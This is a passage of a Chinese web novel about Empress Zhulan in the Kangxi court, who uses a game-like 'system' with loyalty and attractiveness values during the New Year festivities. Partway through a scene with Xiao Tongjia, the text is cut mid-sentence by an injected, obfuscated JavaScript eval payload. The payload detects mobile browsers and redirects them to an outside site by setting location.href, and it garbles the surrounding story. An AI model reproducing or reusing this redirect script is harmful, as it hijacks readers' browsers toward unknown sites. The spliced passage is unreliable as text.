康熙扶起皇后,心里想着回去叫梁九功再开库房,他走到太皇太后身边,关切问道:“皇祖母今日可安好?” 太皇太后慈爱地拍了拍康熙的手:“好,好,看着你们和和睦睦,哀家心里比喝了蜜还甜。”这几个丫头恰似春兰秋菊,各一时之秀,珠兰亦不曾亏待,若是皇帝仍不愿亲近··· 几女入宫后,这也是第一次见皇帝。 玉宁偷眼看去,只觉得皇上身量又长了,少年清隽。 萨琳已没了早年争夺皇上注意的念头,反而觉得有些没意思,还不如就她们姐妹在此处自在。 诺敏见皇帝一进来就先关心皇后,居然觉得很欣慰。 塔娜偷摸看了皇帝一眼,觉得红玉镯子更漂亮。 众人脸上都洋溢着幸福的笑容,膳房里的气氛愈发温馨。 腊月二十五,内务府的工匠们在乾清宫、慈宁宫忙碌张贴年画。 康熙手持朱砂笔,在一张“福”字斗方上写下遒劲有力的字迹。他眼神专注,每一笔都饱含着对新岁的期许。 珠兰站在一旁,静静欣赏着康熙写字的模样,这人原本要说长得不能算难看。只是熬夜多了,少年人本该饱满的苹果肌居然有些下垂了。这花期不会刚开始,就结束吧··· 待康熙写完,她轻声说道:“皇上的字越发苍劲有力,这‘福’字倒贴,福气定能早早降临。”皇上的脸,需要拯救一二,时间长了越发垮,主要是后面还有几十年,自己看着也难受。 康熙听了,嘴角微微上扬:“若真如梓童所言,今年必是个祥瑞之年。”他的话语中带着期待,并不知道皇后在腹诽自己的颜值。 梁九功也是个傻的,朕叫他开库房选首饰,他送来的一水儿老气颜色,哪里是皇后这样的少女可用的。 还得朕亲自为梓潼选,才能合她的心意,那珍珠步摇她就很喜欢,康熙莫名自信。皇后如此爱朕,为了朕这般勤俭,朕不可亏待。 太皇太后和太后也来到宫殿前,看着工匠们忙碌。 太皇太后指着年画边框的满族八宝纹样,对太后说道:“这满汉结合的装饰,倒也别有一番风味。” 太后点头附和,“正是,既保留了咱们满族的特色,又融入了汉族的习俗,相得益彰。” 此时,马佳诺敏、纳喇玉宁、钮钴禄萨琳和赫舍里塔娜也奉命赶来帮忙。 塔娜好奇地看着画师手绘宫灯,眼睛里满是新奇:“这灯面上的《西游记》故事画得栩栩如生,晚上点上蜡烛,不知该有多好看!” 玉宁笑道:“那咱们可要好好瞧瞧,说不定还能跟着故事神游一番。” 众人听了,都忍不住笑起来。 康熙携手皇后一起过来,看着热闹的场景,久违的生出一种名为幸福的暖意。 正是,此时情绪此时天,无事小神仙。 封印之后,慈宁宫开了宫门,每日辰时,康熙准时来到慈宁宫向太皇太后问安。 宫中规定每月初一、十五向太后、太皇太后问安,但皇帝皇后自然不受限制。 因连日忙碌,太皇太后身体稍有不适,靠在软榻上。 康熙神色关切,仔细查看药方后,亲自端起汤药,轻轻吹凉,试尝一口后,才递给太皇太后:“皇祖母,这药不烫了,您且服下。” 太皇太后欣慰地看着康熙,眼中满是疼爱:“有孙儿如此,哀家便是有些不适,也觉得好了大半。若是能见重孙儿,哀家此刻去了也甘愿···” 康熙无言以对,珠兰主动上前请罪,身形虽然清瘦,却把皇帝严严实实挡在身后。 看着珠兰顶在前头的样子,康熙不禁回想起前几年葛布喇挡在他前面硬刚鳌拜的神色,一模一样啊。 皇后,就是这样爱朕。 这就是书上说的爱吧,像一堵突然立起的墙,将迎面而来的风雨都挡在了另一边。皇帝方才还攥紧的指尖慢慢松开,心里某个紧绷的角落像是被温水漫过,一点点软下来。 是的,被人这样护着的感觉,是连呼吸都带着暖意的。往日里,只有葛布喇顶在他与鳌拜之间时,给过他这样的温暖。 她什么都没说,却让他觉得,往后再大的难处,似乎都能被这道身影轻轻接住。 珠兰对于康熙的亲密度突然涨了0.5这件事,也是莫名其妙了。 午后,暖阁内,太皇太后向康熙讲述顺治朝旧事。她的声音轻柔,带着岁月的沉淀:“当年你皇阿玛,也是这般勤勉...” 可惜啊,四大辅臣倒台的太早,很多事都没来得及叫皇上明白呢。鳌拜这般大的靶子没了,日后如何叫皇帝晓得妥协的艺术。太皇太后肚子里有很多话,话到嘴边又咽了回去。天家的龌龊之处,这对儿年轻小夫妻还是自己体悟的好。大好日子,捡一些好事儿说吧。 康熙认真聆听,不时点头,将这些被太皇太后美化过一遍的故事铭记于心,反复琢磨,越琢磨越不对味儿。 一旁,珠兰静静听着,主打一个陪伴。这些故事不仅是家族的回忆,更是治国理政的经验传承。她让系统多学习,不可一日懈怠。就是听着,有点假大空呢。怎么一到关键之处,老太太就不说了。 系统…… 腊月二十七,巧遇降雪,太皇太后精神也好了,突发奇想要去看雪赏梅,御花园便成了欢乐的天地。 康熙陪着太皇太后堆雪人,小心翼翼地为雪人佩戴上八色小旗。 太皇太后笑着指点:“这旗子的位置要摆正,可别让雪人成了个糊涂兵。” 珠兰去看皇帝的面色,一抹深思之意闪过。 这对祖孙说话,总要带着三分隐喻,也不觉得累。算了没直说,就当听不懂。 马佳诺敏、纳喇玉宁、钮钴禄萨琳和赫舍里塔娜分成两队打雪仗,你追我赶,笑声回荡在御花园上空。 塔娜身手敏捷,抓起雪球精准地砸向对方,兴奋地喊道:“姐姐们,看我的!” 这个时候,她们都未曾承宠,也不曾有冲突,当真是将彼此当好友相处。所谓“你富贵,你荣华,我自关门睡”的从容日子,也就那么两年。 晚膳时,乾清宫内铜炉里的炭火噼啪作响。 康熙、太皇太后、太后与珠兰这个皇后围坐在一起,烤着鹿肉,饮着屠苏酒。 太监绘声绘色地讲着满洲老故事,众人听得入神。这故事,自然也都是美化过的。 太皇太后回忆起往昔,感慨道:“这些故事,要一代一代传下去,莫要忘了咱们的根。”她转头看向皇帝,又闭上了嘴。福临啊福临,你为何去的要那般早。有些腐烂的真相,我是再难第二次对天子言明啊。再等等,等他再长大一点。 这样意气风发的少年,太皇太后也不忍心在年节时亲自出手打破他对朝廷百官、宗室姻亲的幻想。 等过了年,自有无数事端呈上来,事儿会教人的。以为打倒了一个鳌拜,朝中便没有敌人了?且看着吧,大臣没一个不存私心的。 皇帝不受权臣的气,就得受别的气,缺钱什么的都是小事儿。太皇太后面上带着笑,心里想着怎么给小孙子提前扎一针,省得叫他将来气出毛病。 张口,又闭上,最后说了一句,“玄烨,故事里的事儿,莫要听别人的,得听你自己的。” 康熙郑重地点头:“皇祖母放心,孙儿定当铭记。” 太后在旁陪笑,神游天外。几个丫头都回自己宫里换衣服去了,没叫她们来乾清宫用膳,她也觉得有些没意思了。 珠兰看了看系统,别看这对祖孙表现的亲密,亲密度是一点没涨啊。这饭菜虽然吃的无趣,但观察点满了,不错不错。 腊月的寒风卷着细雪掠过午门,葛布喇裹紧官服踏入值房时,砚台里的墨汁已结了层薄冰。 作为大学士,封印期间虽无繁重政务,他仍每日卯时便来清点历年祭典卷宗,反复摩挲泛黄的羊皮册,连页角卷起的毛边都要抚平。 同僚们笑他“腊月还当三月忙”,他却只是将御赐的“福”字拓片端正摆在案头:“皇上勤勉如斯,我辈岂敢懈怠?” 相较朝堂的清寂,赫舍里府却是另一番光景。 索尼倚着檀木太师椅,看着索额图刚从外头进来,连福晋都没去看,就急忙指挥奴仆悬挂宫灯。他轻敲烟袋锅:“年关了还这般拼命,也不知学学你阿玛享享清闲。”自打珠兰入宫,他的身体居然越发好了起来。 葛布喇觉得是西方好药的作用,索尼觉得这是皇后娘娘对家族的庇佑。 索额图忙的头也来不及回:“皇后娘娘交付的差事,儿子岂敢疏忽?”话音未落,管家又捧着下属送来的内务府账簿匆匆而入,他接过时,腰间的鎏金算盘佩饰撞出清脆声响。 内宅西厢房里,葛布喇的妻子小佟佳氏斜倚在湘妃竹榻上,望着窗外嬉戏的两个幼子出神。 丫鬟捧着刚炖好的燕窝粥,见主母发间银丝又添几缕,轻声劝道:“福晋不如递牌子见见娘娘?” 她却摆了摆手,指尖抚过女儿幼时绣的香囊:“娘娘在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906011|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫里操持年节,哪有闲心听我唠叨?”咳嗽声突然响起,她望着飘落的雪花,将未说出口的牵挂都咽进了滚烫的药汤里。 索尼的妻子大佟佳氏的针线筐已积了半筐碎布,她望着丈夫伏案批注族谱的背影,终究将写好的请安折又塞进妆奁。 索尼头也不抬:“宫里年节最是忙碌,莫要添乱。” 她低头应是,手中的银针却在绣着八宝纹样的绸缎上停滞许久——那针法,与女儿出嫁前学的分毫不差。自己的女儿,皇后娘娘的姑姑,求上一两分照顾,也这么难。 两个女儿都是嫁给宗室做继福晋,都没有自己的孩子。索尼这个当阿玛的不在意,她这个额娘可发愁了。 岁末爆竹声中,索额图裹着貂裘穿梭在内务府库房。 他亲自查验每一份赏赐:给孤寡老嬷嬷的棉被要摸过絮棉是否厚实,给残疾太监的米粮需过秤核对斤两。 当最后一辆满载年货的骡车驶出紫禁城,他望着宫墙上方的灯笼,呼出的白气在夜色中凝成霜花。 往年没这么多麻烦事儿,那些鳏寡孤独没人记得,可今年皇后娘娘掌了内务府,就多了这么一摊子敬老爱幼的活计。这些人啊,没门路,没渠道,往往有好处也拿不到手里,半路就不知道叫谁劫走了。为了不耽误差事,他亲自盯着,保证发到位。 远处赫舍里府的灯笼连成星河,而他转身时,腰间算盘佩饰又与火折碰撞,发出细碎的清响,恍若新春将至的序曲。 珠兰看着系统面板皱眉,这能量结晶要发下来,得攒多久啊,内务府体量还是小点。若是给全京城鳏寡孤独发钱,就快了吧…… 腊月的寒风卷着碎雪掠过京城街巷,珠兰麾下的掌柜们却忙得额头沁汗。 曙隅斋的掌柜穆尔哈拨弄着算盘,盯着自己提拔的新账房程岫将新一年的分红明细誊写在洒金宣纸上,笔尖沙沙作响间,嘴角笑意愈发深刻——他掌着南货采买,大姐儿只问年终进账,从不过问银钱流向,这般信任,便是把命赔进去也甘愿。 城外庄子上,炊烟混着腊肉香气袅袅升腾。 张庄头裹着大氅,踩着没膝的积雪查看新购的百亩良田。 两月前他自作主张买下南城棚户,将流民安置到庄子做工,又连夜打通关节办下地契。主子奖励他有眼光,赏钱可是不少。 他虽然是个庄头,可总想开上几个杂货铺子。 这不算啥大梦想,隔壁铺子里的掌柜还有一颗做海盗的心呢。 年前,工人们热火朝天地拆除棚户,开了春就能盖铺子了,到时候庄子上的好玩意儿就不愁卖了。 他得意地拍了拍腰间沉甸甸的钱袋——上个月刚领的两倍俸还没焐热,年节赏银又足足是寻常庄头的三倍。 “老张,你这般卖命图啥?”邻村的李庄头抱着胳膊冷嘲,“咱们不过是给主子当牛做马的。” 张庄头掏出沉甸甸的银锭往掌心一抛,听着清脆的撞击声放声大笑:“瞧见没?咱的忠心和本事都记在主子心里!上个月我就是给庄上添了口新井,主子直接赏了这个数!” 他比出三根手指,见众人瞪大眼睛,故意压低声音,“且等着瞧,等开春这批铺子盖起来,分红怕是要把荷包撑破!” “你居然还能有分红?”李庄头不敢置信,大家都是佃户,怎么就你这么突出。 暮色渐浓时,珠兰麾下各庄子的管事们围坐在暖烘烘的堂屋,火盆里的炭火烧得噼啪作响,他们在开会。 有人捧着东家特批的年货——整扇的腊鹿肉、崭新的狐皮袄,嘿嘿傻笑。 有人传阅着新拟定的江南商圈规划,与一群掌柜的说明年的谋划。咱赫舍里家的小爷们叫大姐儿的阿玛安排了不少去南边军中,不把买卖开过去,都对不起他们的专业。那边的茶、盐、桑、稻可都是好东西,对了还有矿,还有湖。大伙各自说着自己得来的消息,互通有无。一遍开着茶话会,一边就把各自的圈子画出来了。 还有人在看洋人轮船的构造图,这是柯尔坤四老爷从海上传回来,葡萄牙人最新的技术,咱们海运之事就靠这个了。汽轮,就是个烧开水的大家伙罢了,把这东西装到咱船上,就齐活了。 哦哦,对了咱的船也得改,那上了人西方大船的,有高人,愣是把咱们自己的匠人死活搞不懂的构造,给解析出来了。不仅有船,还有炮。 四老爷万里传书,摸了特殊药水加密又加密,才从南边倒腾回来。 那漕帮很有些底子,号称百万漕工,平日做工,闲时做匪,咱争不过那大运河上的买卖,不如另辟蹊径。 一群人围着图纸,七嘴八舌把天津造船厂的投资勾兑清楚了。连工匠都有人从南边找过来了,木头铁条也是找到了路子,自己搞不定的零部件是走私来的,那洋人给钱就卖了。甚至,还答应拆一艘船给他们。这么着,每家铺子都投一点,风险共担,利益均分。 窗外风雪呼啸,屋内却暖意融融,众人眼底跃动的不只是炭火,更是对跟着这样的东家大姐儿闯一番天地的热望。 毕竟在这世道,能遇到既精明又肯放手的主子,最重要的是大姐儿给他们算份子啊,这是祖祖辈辈的铁杆庄稼啊,只要赫舍里不倒,就可以子孙万代。谁敢不把主子的产业当成自家的营生,拼尽全力去挣个锦绣前程! 这里,是真多劳多得啊!一辈子吃出三代人的苦,值得! 珠兰让系统融入了【索尼政治基因】【葛布喇野生小弟增长策略】,在加上原初世界的一些思路,就这么大锅炖出了赫舍里葛大人家的特色经营路线。 简而言之,都有金手指了,她不想费劲儿,放权放权,通通放权。 赔了?赔不了,顶多赚的少罢了。 这年月,谁赔了,赫舍里氏都赔不了。顶级权贵的乐趣,普通商人怎么能想象呢。 珠兰调出系统数值中的商业部分,扫了一眼收益点了点头,群策群力比她自己想破头强多了。 要不说观察点就得多用,给掌柜们把数据拉满,个个都是精明鬼儿,凑在一起点子王就有了。 看都不用她指引,他们自己就奔着大海去了。下一步,就是海外,然后就可以等待丰厚的能量进账了。 要是这样都不能引领京中商圈风潮,那一定是出现bug了。 何为一本万利,这就是一本万利。 就是船上的炮筒子,得费点事儿。 34. 承包颜值 这个年节,珠兰过的其实并不忙乱。 宫中筹备、安排、布置等一应事宜,皆有内务府女官、太监处置。 她只每日打开系统面板,查看主事之人的办事数据,便能判定其人所处置的部分情况如何,做好的就赏赐,下次就能做的更好。做不好的,就对应派出自己身边女官前去监督、整顿、改善、提高便是。再不行就换换地方,能者上庸者下罢了。 系统的数据包罗万象,涵盖一个人所有能够数值量化的部分,包括生理、心里等各个方面,在每大项中又有小项,珠兰有时候都懒得细看。 因为人员可控,各类事务性工作便只是事务,也没有需要斡旋、绥靖、悬疑、迷惑、顾忌之处。人心服了,事情便顺服了。 尼雅、图雅四个是跟惯了大格格的,对这种做事模式十分适应。在家时格格从来没有看走眼过,进了宫也是如此。只见一面便晓得谁该派去扫地,谁该派去传话,哪个可以管人,哪个只能管库。 春苒、夏笙四个就是惊的目瞪口呆了,原来逢年节时,她们这些乾清宫大宫女连带首领太监顾问行都要去慈宁宫,等着安排调度,那时候可忙乱多了。宫女太监连带着内务府不是这儿出毛病,就是那儿有问题,都得请太皇太后示下。可这一摊子事儿,今年到了主子娘娘这里,居然就理顺了,稳稳当当按部就班的。不是说就没问题了,就是解决的速度比犯错的速度还快。 只要不是涉及两宫之事,便是乾清宫那头儿的,她们商量着就也办了,娘娘都不带问一嘴的。便是涉及到两宫了,她们与四雅再商量着,就也能办了。若是要去娘娘那里分说的,便不是具体事务,而是图雅与尼雅整理的体系制度问题了。 四女早先自觉是从乾清宫出来的,都是见过太皇太后的,听过苏麻喇姑教诲的,并不服气宫外来的四雅位列自己等人头上,私下有点挣长短的心。 可这几个月下来,见她们行事妥帖不说,还各有各的长处,算账、盘库、管人,千头万绪的,居然在她们眼里都是小活儿了。 连带着,主子娘娘做事公平公正,虽然不怒自威,但赏罚分明,四雅并不受到偏爱,没过多久春夏秋冬四女就心服口服了,姐姐长姐姐短的与四雅相处甚好。 当然这里也有珠兰投入了观察点提高她们的忠诚度的关系,否则她们不可能跪的如此丝滑如此之快。 两宫派来的嬷嬷,没过多久就被她们这些女官联手挤兑的没地方站了,每日入宫当差就守着屋子尽一尽本分罢了。因主子娘娘在内务府干戈动静大,杀人盈野都说得上,那两位战战兢兢的一点老嬷嬷范儿都拿不起来。 还有早先内务府给送来的两名女官,阿娜尔与慕珂,一个石榴一个葡萄,生的柔婉苗条,旁人不晓得,春苒与夏笙一眼就看出来这是内务府那边送来做什么的,不安好心的奴才秧子,哼。 也就是主子娘娘仁善,即便举荐她们来的管事都被收拾了,也还留着她们,不曾打出去。就让她们管着后殿的洒扫,也是有个活计做,可比不上自己四人风光。 珠兰也觉得貌似有俩嬷嬷和俩女官没使用上呢,开了年得给她们的长处找个地方发挥。这事安排给图雅和尼雅处理了,她便撩开手了。 因着内务府一顿大清洗,原本忠诚在三十几的几人,相继也涨到了60以上。便是太皇太后派来的穆嬷嬷,也是有眼力见的,晓得这位主子娘娘不好伺候,自然就涨了忠诚度。 太监里就出头了一个王二敏,算是在女官之外站住了脚,每日往乾清宫传话都不用他,他生生能跟满宫的太监搭上交情,回来学说话,就能哄得主子娘娘开怀。 珠兰也是觉得这十个太监,过了年得好生安排一番,人力浪费可不行。宫女们都分给女官打下手去了,这太监也不好这般安排,他们能做的反而宫女不好办。 春苒几个而今只觉得深受重用,如今日子过的,比在乾清宫做大宫女时可熨帖多了。 因为这个,珠兰再看系统时,春夏秋冬四女官的忠诚值还迎来了自然增长。 谁不喜欢无比信任自己还放权的领导呢,士为知己者死啊。 珠兰她呀,封印后是真放假状态,不用去内务府坐班了,除了陪俩老太太和皇帝,就是听底下三妃奉承,要么哄着塔娜,或者见一见外头的命妇。 所以,珠兰做这个皇后的主要任务不是干活儿,而是陪玩儿,换句话说,提供情绪价值。 这三位都起的早,一大清早就得要人陪,陪了早上陪中午。 若能日上三竿我独眠,谁是神仙,我是神仙。 珠兰暗叹,虽则过了十几年这样的早睡早起日子,还是怀念懒觉。 偶然还要应对突发事件,比如在陪皇帝用了晚膳后,应对皇帝突如其来的娃娃打扮活动。 虽然这个娃娃,是她··· 腊月二十八,乾清宫暖阁的铜炉烧得正旺。 康熙将《三藩方略》五卷推到一旁,一大早就踩着金砖上的日影踱至库房。 鎏金铜锁开启时,黄花梨木柜里的首饰匣子泛着珠光,他指尖拂过层层明黄缎面,最终挑出三只朱漆长盒——点翠累丝金凤头面的羽翎凝着江南的文华之气,红宝石貂毛头面的金托上錾着万寿纹,东珠珊瑚头面的珠子颗颗圆润如满月。 晚膳后,珠兰捧着青瓷茶盏陪他在屋里转圈散步,积雪在琉璃瓦上折射出细碎的光。 康熙忽然开口:“前日见你赏给端敏格格的头面,倒比自己戴的鲜亮。” 怎么突然提起了端敏格格,这位是简亲王济度的次女,比皇帝大几个月,由于其母为科尔沁博尔济吉特氏,与太后有些亲戚关系,她自幼被接入宫中,由当日的皇后,也就是现在的太后娘娘抚养。康熙元年之前,她在宫中接受教育,生活起居与皇室公主无异,之后则出宫归家,等待指婚,然后就等到现在。 因这位格格本身备受太皇太后与太后宠爱,赏给她的头面首饰、衣服料子都是照着和硕公主位分准备的。尼雅开的条子,图雅出的库,春苒领着宫人去赏的,流程与物品没有问题。 因为珠兰的这份妥帖,太皇太后还专门涨了亲密度的。给老太太送银子,都没这次涨的多。老人家看重科尔沁,多过其他。这位格格的归宿,应该也是在草原了。 见珠兰微微怔住,皇帝笑着指了指西边,“朕库房里有些压箱底的物件,总该见些天光。” 宫人将三只硕大的首饰盒捧来,一一打开。 珠兰望着流光溢彩的头面,皇帝一句“素净过头倒像修行的姑子”让她有些莫名其妙。平日老说清雅,这是又改了审美了?皇帝不仅掌控欲强,猜忌心重,小心眼子,还善变了。 她实则不是喜欢清雅,是喜欢轻松。谁也不想在脖子上顶二斤砖头出门吧,对她而言,除了能量结晶值得,其他一切都不值得,所以金银珠宝与砖头,没什么区别。 点翠累丝金凤头面的羽翎在烛火下流转着湖蓝色光晕,九只金凤的爪心都嵌着米粒大的东珠。“这是南边的手艺,点翠累丝九凤钿子。”他突然凑近她耳畔,“凤冠要配凤眼才好看。” 珠兰看着皇帝,康熙的眼睛倒是一双凤眼。不对,眼皮最近有点耷拉了。珠兰又看了看系统,最终是打开了皇帝的颜值属性。 被她这么看着,康熙有一瞬间的呼吸迟滞。总觉得,被皇后凝视了。 珠兰谢过恩要命宫人收起,康熙却按住她的手:“急什么。” 他亲自为她卸下素银白玉扁方,夸赞她的乌发如云。 凤冠戴上的瞬间,九只金凤振翅欲飞,鬓边垂下的珍珠流苏扫过她耳垂。 看了系统数据,珠兰心中确定,皇帝的花期是真短,颜值属性果然是下降了。 康熙退后三步端详,忽然笑出声,“这翠色极衬你的神采。” 珠兰只能假做害羞模样,垂下眼皮。这东西沉,低头都低不下去。 第二套红宝石貂毛头面更显华贵,重九钱七分的鸽血红宝,石内天然棉纹如凤凰涅槃时的流火,在烛光下折射出十八重光晕。冠身缀三十六颗“石榴籽”红宝石,颗颗嵌入金托,爪镶处暗藏细金丝编成的梅枝纹,与宝石血色相映成趣。头面边缘以貂毛织成“万字不到头”纹样,冠顶貂毛堆叠成三层莲座,每瓣毛片皆朝同一方向排列。冠后垂五串红宝石貂毛流苏,每串以金链串联红宝与玄貂毛球,末端缀东珠坠角,行步时红宝轻撞发出清越之声。貂毛衬着血色宝石,将她的肤色衬得如羊脂玉般温润。 康熙取出自己常用的龙脑香膏,亲自蘸取一点抹在她耳后:“皇后带上红宝貂毛冬朝冠这般艳丽的头面,倒该配扬州进贡的胭脂。” 胭脂就胭脂,抹上这香膏作甚,珠兰抽了抽鼻子。她家的吉雅与禄雅,都沾些加点的后遗症,嗅觉灵敏的那一个闻不得杂味道,味觉特异的那一个吃不得重口味。除了来见皇帝的特殊时刻,她惯常就不爱涂脂抹粉上香膏。哦,今天好像没带茉莉香出门。 这冠,更沉,谁爱戴啊。皇帝还非要揽着她左右看,她顶着这足有四五斤的冠冕,只觉得突然就明白何为老祖父所言“皇后冠冕之重”了。这不比大婚那个轻省,还更重些。 最后换上东珠珊瑚头面时,天色已近黄昏。 十二颗硕大东珠如晨露凝在金胎上,珊瑚珠串用赤金钩子相连。大颗东珠垂在额前,珊瑚珠串随着动作轻响,恍若将东海的波光与南海的霞色都戴在了身上。如皇帝所言,成冬日凤冠中的“冰雪丹霞”之景。 珠兰只想时间过的快点,早点结束这等折磨。忽然看向康熙的亲密度,她又默默忍了。 康熙亲自为珠兰戴上,指腹擦过她眉心时,从袖中取出个螺钿小盒:“这是西洋贡的玫瑰膏,配这东珠珊瑚三多纹钿的色儿正好。”膏体触肤即化,带着地中海的甜香,与之前的龙脑香混在一起,在暮色里织成张温柔的网。 皇帝今天是效仿古人,非得把闺房之情做足不可。佟国维送进来的话本子,皇帝是真没少看。他精力够充足,课业工作两手抓,抽空还能有点兴趣爱好。 康熙望着镜中人,想起太皇太后说过“皇后当如明月照万方”,此刻眼前的珠兰,却比满月更多了几分动人的明丽烟火气。 她的模样,本是瞧惯了的,原本只觉得她生的似葛布喇,又有些像自己的额娘,却忽略了珠兰本也是少见的美人。 皇帝打量着珠兰,珠兰也在审视着皇帝。 作为天道核心人物,想用观察点影响他的属性极难,需要付出一颗“涟漪级”能量结晶才能撼动他一点【猜忌】或者【掌控】。但是皇帝的颜值,貌似对他的人生和世界进程影响极小,加点也就是十比一的样子,与旁人的观察点属性值转化率一致。 珠兰手中的观察点很珍贵,在每日刷够600的情况下,也在核心部位宫女、太监、内务府主要官员身上用去了不少,剩下的还需规划着使。前期的资源来的慢,用的多,不可浪费。 可是看着皇帝的脸,她日后要长长久久的对着这样的面目啊。少年人的轮廓此刻还算俊秀,可也已经开始垮脸了。 康熙是勤政之君,每日能有两个时辰睡眠便觉足够,他的健康由体魄撑起,他的颜值却撑不住了。 珠兰有个怪毛病,她看脸吃颜。在手下做事的还罢了,凡是日常见面的,皆没有丑人。养心殿的宫女,都是平头正脸的,太监也没歪瓜裂枣的。 太后曾在她去寿康宫拜见时,暗中点破内务府安排这样颜色的宫女与她,恐怕有某些管事的小心思在,毕竟包衣出身的宫女受皇上宠幸后,是能提携整个家族的。 太后说,她入宫后,是吃过亏的。 珠兰看着颇高的亲密度,晓得太后是为她好,回头就 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他只是觉得,殿内的鎏金暖炉散发着融融暖意,却不及眼前人眼底的柔光,其中只有自己。 珠兰注视着皇帝,引导观察点去改善她最看不顺眼的垮脸,今日只是简单收紧,明日他起来定然更加容光焕发。她从未更改过任何人的颜值属性,不知副作用为何,且看着吧。 康熙伸手替她理了理微乱的鬓发,指尖不经意间擦过她温热的耳垂,笑道,“倒比朕案头的红烛还要灼人。” 珠兰垂眸避开他的目光,假做羞涩,耳后的龙脑香混着玫瑰膏的淡淡甜味,在空气中晕染开来。 修长手指轻轻拨弄着点翠累丝九凤钿子,凤羽随着动作泛出幽幽蓝光,皇帝挑眉看向珠兰,“这九凤钿子最宜燕居时戴。”指尖蹭过冰凉的点翠羽片,他嘴角勾起一抹浅笑,“你瞧,这累丝金凤的爪心嵌着东珠,声响都比寻常首饰清亮。” 皇帝的爱好是真广泛,忙碌朝政、骑射读书,居然不足以让他精疲力竭,他还喜欢服装设计。 精力旺盛之人,健康值也高。等等,皇帝的健康值好像降了0.1? 熬夜都没降下去的健康值,那般□□。莫非······ 康熙直起身子,朝宫人扬了扬下颌,“取那套新制的石青色缂丝褂来。” 珠兰都不知道内务府到底送了多少衣服去养心殿,都是图雅收着,此刻马不停蹄的就取来了,估计是梁九功提前知会了她们。 康熙目光灼灼地盯着展开的衣料,轻点“双凤穿牡丹”纹样,“配这身正好,缂丝凤凰的尾羽用孔雀线织的,和钿子的点翠凑在一处,倒像把江南春天的湖水色都戴在了身上。” 珠兰连连点头,觉得皇帝的眼皮也收紧了,抬眼时凤眼能全睁开了,显得眸子都亮了。总算是,看着不那么难受了。 说着,皇帝忽然低笑出声,“朕记得二年时,你穿藕荷色纱袍在御花园喂鱼,那金线绣的缠枝莲在水光里明明灭灭,倒比这钿子上的金纹更晃眼。” 那件衣服的纹样,还是诺敏绣的。珠兰想了半天,想起皇帝说的是哪一码事儿。 皇帝又抱起东珠珊瑚三多纹钿,对着烛光细细端详。看珊瑚珠串折射出暖红光影,突然将钿子举到珠兰额前比划,眼中满是促狭,“这三多纹钿子该在大年初一戴!” 珠兰一愣,怎么又有大年初一的事儿了。 康熙语调上扬,伸手轻轻点了点钿子上的佛手纹样,“佛手、寿桃、石榴凑在一处,正应了太皇太后常说的多福多寿!” 多子,您就不念叨了。珠兰在心里笑,面上仍是婉约温和的样子。 皇帝的容貌修复工作,还需尽善尽美。否则,这情意绵绵的话儿叫他说出来,珠兰都不想听。 他亲自抖开杏黄色妆花缎袍,动作利落优雅,又带着不容置疑的强势,“你看,这石榴纹和钿子的珊瑚色一模一样,桃实上嵌的珍珠又和东珠呼应,倒是衬你。” 人好看了,明明同样的动作,珠兰也觉得优雅了。 她捧场地弯腰凑近褂子,用指尖仔细摩挲团纹边缘,表示皇帝说的都对。跟来的女官们,会记下皇帝的每一套搭配,然后在对应的日子让珠兰穿上的。 “祭天得戴这顶朝冠,玄色貂毛配明黄朝服,才压得住天坛的青石寒气。”皇帝复又展开镶黑狐皮的朝服袖口,指尖轻轻抚过柔软的毛皮,眼神温柔下来,“你瞧,这黑狐皮边和冠顶貂毛,玄黄相衬才合祭天理数。” 突然想起什么,康熙又指挥梁九功去库房翻找出一副金镶红宝石纽丝并蒂莲耳坠。 他等不及,亲自走到门口,取了回来。 难得是脚步轻快,脸上带着孩子气的得意,“冠上的红宝石主石和这对耳坠是同一块料子开的!”将耳坠举到珠兰眼前摇晃。 珠兰连连点头,夸奖皇帝眼光绝顶、心细如发。容貌回春,少年感也回来了。 “去年科尔沁贡来的红宝石原矿,朕特意留着给你打了这套头面。”康熙目光炽热地盯着珠兰,他觉得今日屋里实在热了些,面上又都起烧了。 两人就这样你一言我一语,从首饰搭配聊到衣裳纹样。 珠兰觉得,这是进宫后,最忙乱的一下午。这都是属于加班了,不行,得想个招,整点能量结晶当加班费。 直到更鼓敲过,望着案上凌乱的首饰盒与摊开的绸缎,她故作嗔怪地看了眼皇帝,却见他正托腮含笑望着自己,眸中盛满了比腊月炉火更炽热的温柔。 现在看上去皮肤紧致多了,是个少年人模样,必须保持住! “若是喜欢,”他忽然握住她的手,“往后朕得空,便来替你挑拣。” 珠兰心想,皇上,您的颜值珠兰承包了。 35. 除夕算账 当第一缕晨光尚未刺破夜幕,紫禁城已在凛冽寒风中苏醒。 太和殿丹陛之下,三百六十名銮仪卫按八旗方位肃立,金色纛旗猎猎作响。 康熙身着绣有十二章纹的明黄朝服,缓步登上七十二级汉白玉台阶,龙袍在风中翻涌,宛如蛰伏的巨龙即将腾飞。 随着鸿胪寺官员一声高亢的“排班——”,文武百官、藩属使臣按品秩跪成五色浪潮。 站在前排的葛布喇,抬头看向满面红光、意气风发、风华正茂的皇帝,眼中渐渐蓄上了泪。天子,长大了! 皇帝转身,便看到葛布喇偷偷摸眼睛,心下感叹。 今日是除夕。 坤宁宫的铜鹤香炉正吐着青白烟气,珠兰头戴皇帝特意给搭配的冠,霞帔上的凤凰纹样在烛火下浮动,率领着后宫女眷与宗室福晋,踩着积雪向慈宁宫行进。 为表敬意,她是不坐轿子的。其实是想走动走动,不然这一天也怪难受的。 队伍中,简亲王济度之女端敏格格作为唯一的未婚宗室女,攥着亲手绣制的“万年长春”锦帕,指尖因紧张而微微发白。此刻她随继母代表家族入宫朝贺,与养育在宫中时又不一样。 当她们踏入慈宁宫时,太皇太后已端坐于紫檀嵌玉宝座,身后的九凤金屏折射出冷冽的光。 “给太皇太后请安——”皇后率先跪下,凤冠上的珍珠触及青砖,身后的内外命妇依次按位份排列,端敏格格跪在末位,听着衣料摩擦的簌簌声与环佩叮当。 